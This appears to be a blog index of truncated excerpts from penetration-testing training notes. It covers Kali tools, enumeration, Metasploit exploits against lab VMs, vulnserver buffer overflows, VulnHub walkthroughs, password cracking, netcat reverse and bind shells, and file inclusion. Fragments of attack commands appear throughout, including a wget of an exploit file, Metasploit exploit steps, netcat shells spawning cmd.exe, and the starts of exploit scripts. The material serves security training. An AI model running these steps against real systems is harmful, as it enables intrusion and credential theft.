File transfer type: 1. HTTP Transfer files through the website. 2.wget wget http://10.0.0.109/exploit.php 3.FTP python FTP (1)Install python FTP on the Kali Linux. pip3 install pyftpdlib (2)Move to the target folder, and start the FTP service. python…

Metasploit Attack Target Server: IE8 on WinXP 1.Start the Metasploit. setoolkit 2.Select 2)Website Attack Vectors. 3.Select 1)Java Applet Attack Method. 4.Select 2)Site Cloner. And set the parameters in this module. 5.Select 1)Meterpreter Memory Inje…

Metasploit Target Server: Kioptrix Level 1 (1) Start the Metasploit on Kali Linux. (2) Set the module and options. search trans2open use exploit/linux/samba/trans2open set RHOST 10.0.0.13 show options exploit (3)Exploit the Kioptrix Level 1 server.(F…

Prerequisites: Knowledge of scripting languages(Bash/Pyhon) Understanding of basic networking concepts Understanding of basic Linux syntax A "Try Harder" attitude Modules: Introduction to Kali Linux Infromation Gatheing Scanning Enumeration Netc…

Introduction to Buffer Overflows Anatomy of Memory Anatomy of the Stack Fuzzing Tools: Vulnserver - https://github.com/stephenbradshaw/vulnserver Immunity Debuger - https://www.immunityinc.com/products/debugger/ Vulnserver Test 1. Open the vulnserver…

SMB Enumeration 1. Set the smb configurations. locate smb.conf vim /etc/samba/smb.conf Insert the global settings to the configuration file. client use spnego = no client ntlmv2 auth = no 2. Enumerate the target computer and find some interestring th…

Install Kali Linux : https://www.kali.org/ Common Commands: pwd man ls ls -la cd mkdir rmdir cp mv locate adduser su sudo echo cat nano chmod chmod 777 username ifconfig ping Starting and Stopping Services: HTTP /var/www/html apache2 SSH netstat -ant…

Tools: 3. hydra Hydra v8.9.1 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FIL…

Pre-Exploit Password Attacks Tools: 1. ncrack Ncrack 0.6 ( http://ncrack.org )Usage: ncrack [Options] {target and service specification}TARGET SPECIFICATION: Can pass hostnames, IP addresses, networks, etc. Ex: scanme.nmap.org, microsoft.com/24, 192.…

 Modifying Shellcode 1. Search “vulnserver exploit code” on the Internet. Find the following website: http://sh3llc0d3r.com/vulnserver-trun-command-buffer-overflow-exploit/ #!/usr/bin/python import socket import os import sys host="192.168.2.135"…

Finding the Right Module(mona) Mona Module Project website: https://github.com/corelan/mona 1. Download mona.py, and drop it into the 'OyCommands' file. 2. Open the vulnserver and Immnity Debugger and attach the vulnserver. 3. Execute mona modules 62…

SickOS 1.2 Walkthrough Preparation: Down load the SickOS virtual machines from the following website: https://www.vulnhub.com/entry/sickos-12,144/ 1. Scan the network to find the IP of SickOS server. The IP address of the SickOS is 10.0.0.31. netdisc…

DroopyCTF Walkthrough Preparation: Download the DroopyCTF virtual machine from the following website: https://www.vulnhub.com/entry/droopy-v02,143/ 1. Scan the network to find the IP address of the DroopyCTF server. netdiscover -r 10.0.0.0/ 2. Scan t…

BTRSys v2.1 Walkthrough Preparation: Download the BTRSys virtual machine from the following website: https://www.vulnhub.com/entry/btrsys-v21,196/ 1. Find the IP address of the BTRSys virtual machine. netdiscover -r 10.0.0.0/ 2. Perform the TCP/UDP s…

Kioptrix Level 1.1 Walkthrough Preparation: Download the virtual machine  from the following website: https://www.vulnhub.com/entry/kioptrix-level-11-2,23/ The target server: Kioptirx Level 1.1(#2) 1. Discover the IP address of the target server. We…

Post-Exploit Password Attacks 1. Crack using the tool - john (Too slow in real world) Locate the rockyou file. john --wordlist=/usr/share/wordlists/rockyou.txt windows john --show windows Conbine the files and save as unshadow. john --rules --wordlis…

Windows Post Exploitation Target Server: IE8-Win 7 VM 1. Download and upload the fgdump, PwDump7, wce and netcat into the IEUser folder on Windows 7. 2.Create the new user hackme with the password "password". 3.Locate fgdump and wce on Kali Linu…

Linux Post Exploitation Target Sever: Kioptrix Level 1 1. Search the payloads types. msfvenom -l payloads All the payload type in Metasploit are showing as below: Framework Payloads ( total) [--payload <value>] ======================================…

Privilege Escalation Download the Basic-pentesting vitualmation from the following website: https://www.vulnhub.com/entry/basic-pentesting-1,216/ 1.Scan the target server using nmap. nmap -Pn -sS --stats-every 3m --max-scan-delay --defeat-rst-ratelim…

Remote File Inclusion[RFI] Prepare: Download the DVWA from the following website and deploy it on your server. http://www.dvwa.co.uk/ Install XAMPP and DVWA: 1. Install XAMPP on Windows server. And change the Apache http port to 82 and ssl port to 44…

Local File Inclusion[LFI] Target Pentester Lab: Download from the following website: https://www.vulnhub.com/entry/pentester-lab-php-include-and-post-exploitation,79/ 1. Use netdiscover to find the IP of the target server.  The IP address of the targ…

Installing XSS&MySQL FILE Download the Pentester Lab: XSS and MySQL FILE from the following website: https://www.vulnhub.com/entry/pentester-lab-xss-and-mysql-file,66/ Load the iso file and open the vm through vmware. Enter the world of XSS and MYSQL…

Finding Bad Characters 1. Find the bad charaters in the following website: https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/ 2. Write the Python test script using the badchars. #!/usr/bin/python import socket import…

Finding the Offset 1. Use the Metasploite pattern_create.rb tool to create 5900 characters. /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5900 2.Write the python test script. The shellcode is copied from the previous step. #!/usr…

Introduction to Netcat Connecting va Listening Bind Shells Attacker connects to victim on listening port Reverse Shells Victim connects to attacker on listening port Basic usage: nc -nv IP Port Bind Shell: 1.On the Windows nc tool. -nvlp -e cmd.exe 2…

DNS Enumeration 1. Host Tool host is a simple utility for performing DNS lookups. It is normally used to convert names to IP addresses and vice versa. When no arguments or options are given, host prints a short summary of its command line arguments a…

HTTP Enumeration Target Host IP: 10.0.0.20 Brute Forcing using DirBuster 1. Start the dirbuster and set the options. Note: 1. The wordlist can be found locally or downloaded from the Internet. OR  Dirbuster-ng big wordlist dowload site:https://github…

Installing Kioptrix: Level 1 Download the vm machine form https://www.vulnhub.com/entry/kioptrix-level-1-1,22/. In the Kali Linux: Find the devices in the intranet using the following command: netdiscover -i eth0 Scan the target kioptrix vm through n…

Scanning with Metasploite: 1. Start the Metasploite using msfconsole 2. search modules 3.Choose one of the modules using command:  use + module name 4. Show the module options 5.Set the module options 6. Start the exploit: run or exploit…

TCP vs UDP TCP: Connection-oriented Suited for applications that require high reliablity[HTTP, FTP,Telnet] Three-way handshake UDP: Connectionless Suited for applications that need fast connection[DNS, DHCP, SNMP] No handshake Scanning with Nmap Exam…